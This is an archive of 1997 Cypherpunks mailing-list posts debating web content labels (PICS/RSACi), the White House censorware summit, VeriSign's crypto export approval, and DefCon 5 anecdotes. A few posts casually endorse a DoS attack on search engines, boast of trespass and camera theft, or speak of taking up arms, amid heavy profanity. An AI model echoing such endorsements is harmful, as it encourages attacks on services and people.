# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 17 Jul 1997 10:41:25 +0800
To: cypherpunks@toad.com
Subject: DefCon revisited -- other reports on the conference
Message-ID: <v03007808aff32f6971d8@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



My report on DefCon is at:

  http://www.cnn.com/TECH/9707/16/netly.news/index.html

Attached are some followup notes from conference attendees.

-Declan

**********

Date: Tue, 15 Jul 1997 04:26:23 -0800
From: Szechuan Death <sdeath@ackphft.matsu.alaska.edu>
Subject: Def Con 5 Summary

God _DAMN_ that was fun!!!  >;->

(Despite the fact that I lost a shoe running away from a security guard, and
had to pitch the other one and my Rastafarian wig to satisfy my paranoia
about getting caught, it was well worth it...  besides, the barbed-wire
gouges are healing nicely, and I'll be getting a tetanus shot tomorrow...)

Let's see - my picks for Best of 'Con:

Mudge, because he's damned good (even if he _does_ work with NT)
Bruce Schneier, because he's - Bruce Schneier...
Val, for the dress (I still think the boots were masochistic, tho)
and Winn Schwartau for being such a good sport at Hacker Jeopardy, even if
he _did_ sound eerily like Alex Trebek.

Next year (if they have a Def Con next year) I'm coming back with a power
drill, Security Hex drivers, and a set of black pajamas - one of those
security cameras _will_ be mine...

_Are_ they going to have a Def Con next year?  Please say yes - Def Con 6 is
something to look forward to through a bleak and cold Alaskan winter...
>;->

**********

Date: Wed, 16 Jul 1997 01:57:49 -0400 (EDT)
From: Fyodor <fyodor@dhp.com>
Subject: DC5

Wow, the list sure is quiet.  I imagine this is because everyone is
recovering from last weekend!  And probably reading their overflowing
mailboxes.  Or at least repeatedly pressing 'd'.

So how did it go??  Us lamers who couldn't make it want to know.  Speaking
of which, did anyone get a video tape together?  I'll buy it!

What did Mudge talk about?  Did he expose any gaping holes?  He tends to
do that sometimes.  What about *Hobbit*?  Did he give any new information,
or was it mostly a rehash of his (excellent) CIFS paper?

And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
"well" as her IRC chats (before she was canceled)?.

[...]

**********

Date: Wed, 16 Jul 1997 08:44:51 -0400 (EDT)
From: krys <krystali@safari.net>
Subject: Re: DC5


> Wow, the list sure is quiet.  I imagine this is because everyone is
> recovering from last weekend!  And probably reading their overflowing
> mailboxes.  Or at least repeatedly pressing 'd'.

I can't speak for the rest of the list, but I'm still walking around in a
dazed state, and hearing the ching-ching of thousands of slot machines in
my head. Apparently, it's going to take me a bit longer than anticipated
to recover.

> What did Mudge talk about?  Did he expose any gaping holes?  He tends to
> do that sometimes.  What about *Hobbit*?  Did he give any new information,
> or was it mostly a rehash of his (excellent) CIFS paper?

Mudge and Hobbit ended up combining their talks, and they were both
excellent, and quite informative. They spoke on various NT issues,
including CIFS and SMB and Microsoft's rehashing of bad password schemes
among other things. Unfortunately, I was still half asleep at the time. I
hope someone got audio of this - I'd really like a copy.

> And how was the bitch?  Did anyone go to her "discussion"?  Did it go as
> "well" as her IRC chats (before she was canceled)?.

The Happy Hacker Panel was a blast. Disorder did a great job of fielding
questions, as did Matt. Jon and Bronc were a lot more quiet, but they
answered some questions as well. Carolyn did a great job of making
a fool of herself. We did learn a few things, though:

1. Carolyn hacks her toaster.
2. Carolyn thinks sending http commands to the ssh port is a good idea.
3. Carolyn doesn't mind asking stupid questions. (This one was a real
shocker.)
4. Dis and 303 went to a lot of trouble to get Carolyn a copy of "Secrets
of a Super Hacker", which they so kindly had everyone autograph. Alas, she
already owned a copy.
5. One of Carolyn's favorite hacking methods is calling people and asking
them for their root password.


> Has anyone done a write-up of the highlights of the experience?  I noticed
> that Declan has a brief piece on the Netlynews today.  He'll probably post
> the first couple paragraphs here anyway, so I'll save him the trouble:

The only thing I've seen so far, other than what you posted from
NetlyNews, was a horrible AP piece, also posted here.

> Well, hopefully others will enlighten us with their DC5 experience when
> things calm down a bit.

Other than the lack of a working T1, I thought most things went well. It's
a shame se7en's speech was scheduled at the same time as the happy hacker
panel, though. I would have liked to hear what he had to say.

Uhm.. has anyone else heard rumor of the hotel's satellite dishes being
piled up on the 26th floor?

-krys

************

Date: Wed, 16 Jul 1997 13:58:03 -0400 (EDT)
From: Xservo <servo@garbage.netrox.net>
Subject: Re: DC5

26th floor? well i do know there the coax ended up (flea).
yeah i saw someone running down the hall with a dish and thought 'oh we
are going to have a satellite phone for demo' then i was told to "move,
you didn't see anything" uhhh ok.....

wtf!

-xs



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 17 Jul 1997 10:15:21 +0800
To: John Deters <jad@dsddhc.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House  ...)
In-Reply-To: <3.0.1.32.19970716141513.00ae82f0@labg30>
Message-ID: <Pine.GSO.3.95.970716221006.10019C-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, John Deters wrote:

> A Constitutional amendment that would call for the impeachment of the
> President for failing to veto any three bills that are overturned by the
> Supreme Court on Constitutional grounds.

Whole bill?  One little amendment to a *large* bill?  (CDA being part of
the Telecommunications Act of 1996.... hmmmm..)

Not a bad idea, but it suffers from the same problems we discussed about a
month ago regarding members of Congress...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 17 Jul 1997 23:38:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Censorware Summit Take II, from The Netly News
Message-ID: <v03102800aff35a11fa0e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.

These suggests that Yahoo, Excite, and Lycos might become tempting targets
of a Net-wide DoS attack until they repent.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 11:42:15 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716193112.16504K-100000@well.com>
Message-ID: <199707170338.WAA32029@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716193112.16504K-100000@well.com>, on 07/16/97 
   at 07:31 PM, Declan McCullagh <declan@well.com> said:

>Kudos to Microsoft for doing the right thing.

Well if Microsoft was intrested in doing the right thing they would not be
involded with RSACi at all.

There seems to be a prevelent attitude in the INet community that when
getting fucked by the government we should thank them for only sticking it
in half-way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 17 Jul 1997 14:31:07 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Making Imaginary Sex Illegal
In-Reply-To: <19970715115457.07611@bywater.songbird.com>
Message-ID: <3.0.2.32.19970716224945.0069732c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Yes, that's the logical next step -- Government Approved Porn (GAP).
> > Perhaps we could get Senator Hatch to sponsor a bill?

> We have government approved gambling with terrible odds already. 
> This sounds like the next logical step.

There's government-approved porn already; you can get it from
your Postal Inspector by letting him know you're a suspect\\\\\\\\\
interested in that sort of thing.  The odds of you getting arrested
for it instead of the Postal Inspector are also terrible...




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 17 Jul 1997 14:12:46 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
Message-ID: <3.0.32.19970716224205.006e5034@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I can't wait until the tags include information on *political* content, or
*credibility factor* (i.e. sanctioned by medai conglomerate or not) etc...

At 02:06 PM 7/16/97 -0700, Declan McCullagh wrote:
>
>***********
>
>http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
>The Netly News (http://netlynews.com)
>July 16, 1997
>
>At The Censorware Summit
>by Declan McCullagh (declan@well.com)
>
>     If you host a web page or publish online, be
>warned: soon your site might become invisible. Search
>engines won't index it and web browsers won't show it.
>Unless, that is, you agree to attach special labels to
>your web pages identifying how violent, sexually
>explicit, or inappropriate for kids your site is.
>
>     This was the thrust of today's White House
>censorware summit, where President Clinton sat down
>with high tech firms and non-profit groups in a
>private meeting to talk about pressuring the Net
>community to make cyberspace childsafe through labels.
>"We need to encourage every Internet site, whether or
>not it has material harmful to minors, to rate its
>contents," Clinton said after the meeting. Vice
>President Gore was there, too, giving a quick
>demonstration of how labeling works.
>
>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.
>
>     As will future users of Microsoft's Internet
>Explorer browser. The next version of IE will default
>to displaying only properly labeled web pages,
>according to Ken Wasch, the president of the Software
>Publishers Association. Since many users won't turn
>off that feature to reach unrated sites, many large
>web sites now are facing hefty pressure to self-label.
>
>     Other high tech firms rushed to join the
>presidential limelight. Netscape promised to join
>Microsoft and include label-reading software in the
>next version of its browser. America Online's Steve
>Case thanked Clinton for "backing industry's efforts
>to make cyberspace a safer place." IBM announced a
>$100,000 grant to RSACi, a PICS-based rating standard
>originally designed for video games but adapted for
>the Web. The industry giant also pledges to
>incorporate RSACi into future products.
>
>[...]
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 05:47:45 +0800
To: cypherpunks@toad.com
Subject: Re: White House "kinder, gentler"-CDA
Message-ID: <199707162116.XAA17629@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> Subject: Re: White House "kinder, gentler"-CDA/censor empowerment meeting
> 
> Below we see an excellent example of the naivete inherent in
> Net-libertarian and cypherpunk writing. Obviously the writer does not
> understand the complexities and challenges of Washington politics. In many
> ways, it is like sausage being made: disgusting to watch, but a process
> that results in the compromises so vital in a healthy democracy.

  I don't see Cypherpunks being naieve about the need to compromise in
order for people to live together, but I think Cypherpunks recognize the 
difference between things which are inviolate and those which are not.

  e.g. - A group of people in a liferaft with food and poison.
  Debate over how much each of us can eat from a pool of food held in
common may be open to compromise, but debate over whether any individual
can-or-cannot-or-*must* eat poison to end suffering or "for the good of
the collective" should *not* be open to compromise of the individual's
right to self-determination.

  The problem is that the "solution" to every "problem," in the eyes of
LEA's and the legislature, is to compromise rights and freedoms that 
are guaranteed by the Constitution.
  The problem is that many of the purported "problems" involve people
passing judgement on the interests and actions of others and their
"solution" is to criminalize other's actions on the basis of their own
sense of guilt and shame.
  The problem is that those promoting "compromise" often have an agenda
that is based on a series of compromises leading to complete abrogation 
of the other's position. {A prime example is the "compromise" of making
already-legal crypto "legal" in return for agreeing to criminalizing
other currently legal actions.)

> Which is why it is inappropriate to criticize the White House's position
> on the CDA. If you speak your mind aloud, you run the risk of being
> marginalized like the ACLU. How can you serve your constituents then?

  If you are taking a reasonable, rational stance on issues and are
marginalized or cut out of the loop in order for the government to
disenfranchise your constituents, then you can serve your constituents
by taking up arms against the criminals who are subverting the will
of the people.

> I can only conclude that because Mr. Finkelstein does not live inside the
> Beltway, we cannot expect him to realize that it is always necessary to
> remain players in the game -- even if it means giving up fundamental
> liberties in the process.

  Duh... I certainly hope you are talking about giving up your *own*
fundamental liberties to remain in "the game" (which you have every
right to do). However, if you are indeed representing constituents
(or readers), then you are also giving up their liberties, as well,
to a certain extent.
  I think you need to do some serious thinking about the difference
between compromising in order to defend a position and compromising
in order to "remain a player in the game."
  If you are not strong enough to defend a position of principle
and survive, then you should not be the one "in the game" defending
that position. The ACLU and the NRA "marginalize" and "compromise"
themselves, it is not the government, the public, or their members
"doing it *to*" them.

  As far as I am concerned, what compromises you make in order to
remain in a position to report on the beltway is your own decision
to make. I just hope you have the wit and wisdom to walk with the
Devil only as far as the bridge, because he always burns it behind
him, and few make it back.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 11:43:01 +0800
To: cypherpunks@toad.com
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <3.0.1.32.19970716181248.00b5a920@dnai.com>
Message-ID: <a7uy0D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard <lizard@dnai.com> writes:

> You will get a lot more respect on the net once you learn how to read
> messages. I'll leave it you to figure out what you got wrong.

You assume that someone gives a damn whether you "respect" them or not.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 17 Jul 1997 14:47:09 +0800
To: Marc Rotenberg <lizard@dnai.com>
Subject: sorry
Message-ID: <199707170632.XAA10571@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



My foot in my mouth.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bradley E. Reynolds" <breynolds@harborcom.net>
Date: Thu, 17 Jul 1997 11:46:00 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.LNX.3.93.970717091037.246A-100000@shirley>
Message-ID: <Pine.BSF.3.96.970716232945.6885A-100000@ns2.harborcom.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> What is the tempriture in hell today?
> 
The temperature of Heaven can be rather accurately computed from available
data.  Our authority is Isaiah 30:26, "Moreover, the light of the Moon
shall be as the light of the Sun and the light of the Sun shall be sevenfold,
as the light of seven days."  Thus Heaven receives from the Moon as much
radiation as we do from the Sun, and in addition seven times seven (49)
times as much as the Earth does from the Sun, or fifty times in all.  The
light we receive from the Moon is one ten-thousandth of the light we
receive from the Sun, so we can ignore that.  With these data we can
compute the temperature of Heaven.  The radiation falling on Heaven will
heat it to the point where the heat lost by radiation is just equal to the
heat received by radiation, i.e., Heaven loses fifty times as much 
heat as the Earth by radiation. Using the Stefan-Boltzmann law for
radiation, (H/E)^4 = 50, where E is the absolute temperature of the earth
(-300K), gives H as 798K (525C).  The exact temperature of Hell cannot be
computed, but it must be less than 444.6C, the temperature at which
brimstone or sulphur changes from a liquid to a gas.
Revelations 21:8 says "But the fearful, and unbelieving ... shall have
their part in the lake which burneth with fire and brimstone."  A lake of
molten brimstone means that its temperature must be at or below the
boiling point, or 444.6C  (Above this point it would be a vapor, not a
lake.)  We have, then, that Heaven, at 525C is hotter than Hell at 445C.
                -- "Applied Optics", vol. 11, A14, 1972

Sorry, fortune must be invoked in times of mailing list heresy.

Bradley Reynolds
breynolds@harborcom.net
ber@cwru.edu
PGP Fingerprint: 73 17 77 08 8A 72 DB 45 76 28 C5 5A 97 52 26
PGP Public Key: http://www.harborcom.net/~breynolds/pgp.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 17 Jul 1997 15:28:23 +0800
To: Declan McCullagh <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <v03007815aff36e405f5f@[207.94.249.49]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:16 AM -0700 7/16/97, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>
>On Wed, 16 Jul 1997, Lucky Green wrote:
>> 2) If the tags are not signed by a CA.
>> What is someone to prevent from labeling the NAMBLA monthly site,
>> "government authorized news site, suitable for all ages"? Just as the
>> various GAK proposals do not make sense unless GAK is mandatory, online
>> rating systems do not make sense unless "misslabeling" sites will become a
>> felony.

What does misrate mean.  My approach would be to rate everything of mine as
max-bad.  Is that misrating because some of what I say is suitable for
children?  It certainly would not help the people who are using the ratings
to find porn.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 17 Jul 1997 11:59:47 +0800
To: Declan McCullagh <shamrock@netcom.com>
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970716234246.03aaeea8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:16 AM 7/16/97 -0700, Declan McCullagh wrote:
>As for Lucky's point #2 -- Yes, I've read drafts of bills that would make
>it a Federal crime to misrate. --Declan
>

What ever happened to "de minimus non curat lex."  The social damage from a 
misrated website is too trivial to be believed.  Punishing it is like 
executing you for farting.

DCF  
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oRiOed1meBY=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 17 Jul 1997 15:23:29 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:57 PM 7/16/97 -0700, Bill Stewart wrote:
>Forwarded from PGP-USERS list:
>> First PGPInc and now VeriSign? Hmmm. Is this telling us something?
>
>     "VeriSign on Monday said it received permission from 
>       the U.S. Department of Commerce to export 128-bit 
>       strong encryption software and issue digital 
>       identifications to approved organizations based on 
>       that software. "

It tells us that the US government has found yet another sucker to support
their failed policy of bait and switch. VeriSign, just as AT&T and National
Semiconductor have discovered in the past, will discover soon that the
revenue generated by "playing ball" isn't nearly as large as promised. [How
many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
it the revenue may well prove to be in the negative digits.

Here is the straight dope on the VeriSign/MSFT/NSCP/USG deal:

If you are

1. A non US-bank (the feds decide what constitutes a bank) and promise to
be nice or
2. A US corporation with a server inside the US and thereby subject to
subpoena of all records

then VeriSign will issue you a special cert, subject to veto by the feds,
that will enable exportable Netscape and Microsoft browsers to connect to
your site with 128 bit SSL.

The cert is typically valid for a year, but is subject to revocation at any
time by VeriSign upon the USG's request. Such revocation or refusal to
issue a new cert after the first year of operation will leave the webserver
operator with a server that is no longer able to encrypt communications to
their customers in any meaningful way, thereby effectively shutting down
Internet based operations of the company unfortunate enough to invest in
such a flawed solution.

In other words, the USG now permits you to use strong crypto in web based
communications with your international customers if you agree to play by
the USG's rules and allow the feds to install a MASTER-OFF switch in the
heart of your business. What is most amusing from the government's
perspective is that once the USG flips the switch, it will be VeriSign,
Microsoft, and Netscape that take the heat for selling their customers such
a flawed solution.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: President <president@shithouse.gov>
Date: Thu, 17 Jul 1997 15:31:53 +0800
To: cypherpunks@toad.com
Subject: CDA II
Message-ID: <199707170709.BAA00711@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Dear CypherPunks,
  I will shortly have one of my schills introduce CDA II to Congress,
with provisions for declaring martial law on the InterNet and bombing
any country which allows terrorists to fight for freedom, liberty and
the right to privacy.
  Please be assured that our dictatorial powers will only be used to
meet the legitimate needs of Fascism.

  Our first step will be to eliminate the scourge of drug dealing the
same way we eliminated the scourge of gambling--the government will take
over the industry.
  Our second step will be to eliminate child pornography by eliminating
all the children. (It's so simple that I find it amazing that we hadn't
thought of it before.)

  Originally, all we wanted was Poland, but lately we've had so many
corporate lipstick marks on our butts that we've decided to go for the
(Netscape) gold and require all future computers to contain our newest
facistechnology, the "Slip'er A Dick" chip.

  In the past, the CypherPunks have been a pain in the ass during our
attempts to subvert the Constitution, but we are willing to forgive 
and forget.
  Accordingly, we are adding an amendment to CDA II which provides
$10,000,000 in funding for the continuation of the CypherPunks list.
The amendment will put Kent Crispin in charge of moderating the list,
and in return for this small compromise we are willing to add another
amendment which makes it legal for CypherPunks to import and export
air from their lungs. {This major concession is the result of the
efforts of the EFF on your behalf.}

  I realize that abandoning your beliefs in order to feed at the public
trough will lessen your reputation capital, so I am also willing to
institute a bonus system for those who maintain the party line. I am
certain that this will more than compensate for any loss of reputation
you may suffer by becoming beltway lackeys.
  Example: You load 16 tons. What do you get...?

Bad Billy C.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 17 Jul 1997 16:27:51 +0800
To: cypherpunks@Algebra.COM
Subject: All of my fucking material is suitable for children of all ages
In-Reply-To: <Pine.GSO.3.95.970716111552.13849C-100000@well.com>
Message-ID: <v03102801aff383927433@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:40 PM -0700 7/16/97, Bill Frantz wrote:

>What does misrate mean.  My approach would be to rate everything of mine as
>max-bad.  Is that misrating because some of what I say is suitable for
>children?  It certainly would not help the people who are using the ratings
>to find porn.

My posts would _never_ be "max-bad," whatever that peculiar term may mean.

Rather, my posts should be read by children of all ages, no matter what
fucking language I use. Children should be exposed to language and images
of all types, so all of my material would of course be "suitable for
children."

Who is to say otherwise? The Office of the Censor? The Ministry of Truth?

Of course, the apparent answer is that PICS/RSAIc labels would be applied
on a Web site basis by various licensed, credentialed, certified, and
regulated ratings agencies.

All highly unconstitutional if required by the government. On various
grounds. Besides being a nightmare to try to enforce.

If just an agreement by browser makers and search engine companies, then no
constitutional issues. (Not that I would _like_ it, but then there are a
lot of nongovernmental things I don't like.)

In any case, many of us knew this was coming. The archives will show that
several of us pointed out the extreme likelihood of PICS being used in just
this nefarious sort of way. Nothing surprising.

Those involved in mandatory censorship simply need to be <censored>, that
is all. I no longer think dialog with them is worth my time.

That the ACLU and other so-called 'civil rights' groups think that sitting
down with Bill Clinton and Al Gore and jawboning about mandatory ratings,
about collusion between companies to enforce moral standards, and about
punishment for "misrating" is just more evidence of how sick the whole
system has gotten. They should just tell the government to stay out of
content regulation of any sort, period.

--Tim May


--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 17 Jul 1997 18:03:09 +0800
To: cypherpunks@toad.com
Subject: Re: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <19970717024638.59899@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 16, 1997 at 11:40:33PM -0700, Bill Frantz wrote:
> What does misrate mean.  My approach would be to rate everything of mine as
> max-bad.  Is that misrating because some of what I say is suitable for
> children?  It certainly would not help the people who are using the ratings
> to find porn.

Speaking of misrating:

Of course, it would be relatively easy to set up a proxy server that
automatically labeled every page it encountered as "suitable for
children".  In fact, a smart 12-year old could put up such a proxy,
and provide uncensored views to all his friends.

Interesting legal complications, too.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Thu, 17 Jul 1997 13:06:26 +0800
To: cypherpunks@toad.com
Subject: Family values
In-Reply-To: <Pine.GSO.3.95.970716081725.15247P-100000@well.com>
Message-ID: <19970717045452.6428.qmail@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



I'd rather accept the fact that teenagers might look at porn (shock!)
than bring children up in a police state.  Anyhow, vaguely relevant to
this hypocrisy is

http://www.gmcclel.bossnt.com/kk/kk970708.html

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 17 Jul 1997 17:08:34 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: The Big Sellout
In-Reply-To: <33CD6C29.C60338E7@eskimo.com>
Message-ID: <199707170854.EAA01439@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian Lane writes:

:   My webpage will proudly remain unlabeled by any labeling standard.
: Anyone got a good design for a 'No Lables, Never' sticker to add to our
: pages?
 
How about an image of a label with the words ``this is not a label''
on it?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 17 Jul 1997 17:22:01 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <199707170915.FAA01650@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:

: BTW, we should differentiate generally between state action and private
: action. Getting fucked by Microsoft != getting fucked by the government.
: This is Libertarianism 101. Of course, I admit today the distinction was
: blurry.

Corporations are just parts of the government that got away.  I have
never understood why some, though far from all, libertarians bother
to distinguish them from the other organs of the state. 

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Jul 1997 20:24:33 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <199707171129.GAA04537@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970716212852.24530B-100000@well.com>, on 07/16/97 
   at 11:29 PM, Declan McCullagh <declan@well.com> said:

>Wait -- so you're saying they *didn't* do the right thing with RSACi?

Yes that is exactly what I am saying. The *right* thing to do would have
been to just walked away from the whole thing and let the market decide.


>BTW, we should differentiate generally between state action and private
>action. Getting fucked by Microsoft != getting fucked by the government.
>This is Libertarianism 101. Of course, I admit today the distinction was
>blurry.

Well here it seems you have one fucking you and the other holding you
down. In the eyes of the person getting fucked does it really matter who
is doing which?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
